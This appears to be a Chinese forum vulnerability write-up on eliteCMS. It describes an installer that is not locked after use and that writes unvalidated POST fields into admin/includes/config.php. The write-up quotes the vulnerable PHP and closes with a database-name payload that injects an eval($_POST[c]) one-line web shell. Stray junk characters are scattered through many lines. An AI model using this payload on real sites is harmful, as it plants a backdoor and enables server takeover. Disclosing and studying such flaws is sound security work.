eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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' n, Z4 p" L6 K7 f0 y4 Z" H$ ]% |另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
, J9 O4 X) B' A) A8 e' s7 Y( A# D我们来看代码：
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9 z3 Q% b9 B* g& y...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
1 T* j" V' |. Q6 q8 S; x    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
! U1 c7 W) @/ C$ B) _    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
* h  h- j& B% p/ t' ?5 y& R3 P    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
5 D7 v  J7 h) s3 E    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
' ?$ n1 H. _5 a. d5 V0 N  N    $write .= "if (!\$connection) {\n";
5 }, I" @) ]( B+ p5 Q    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
* P  g+ B, l6 x" i& d    $write .= "        \n";
6 ^8 _' ~6 b) y% I( _    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
: e4 d8 _, n- z0 c) A: a. d0 z    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
. [9 E1 I. O1 V" [2 Z$ w9 B- u    $write .= "} \n";
    $write .= "?>\n";
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7 ]! n5 h7 q4 C# g  k8 J    $writer = fopen($file, 'w');
...

在看代码：
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$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
0 ]9 c& S( `) G8 X* |6 a1 Z1 W$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
1 k  u' J! \+ B/ E" O/ E$_SESSION['DB_USER'] = $_POST['DB_USER'];
& J: ]; j) ~7 [+ {- i4 b: |$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
5 w1 n0 F* N9 F/ K; e0 E+ c# [( _如果将数据库名POST数据：
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6 e- z; C% ?9 b$ F* X6 k8 e"?><?php eval($_POST[c]);?><?php
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将导致一句话后门写入/admin/includes/config.php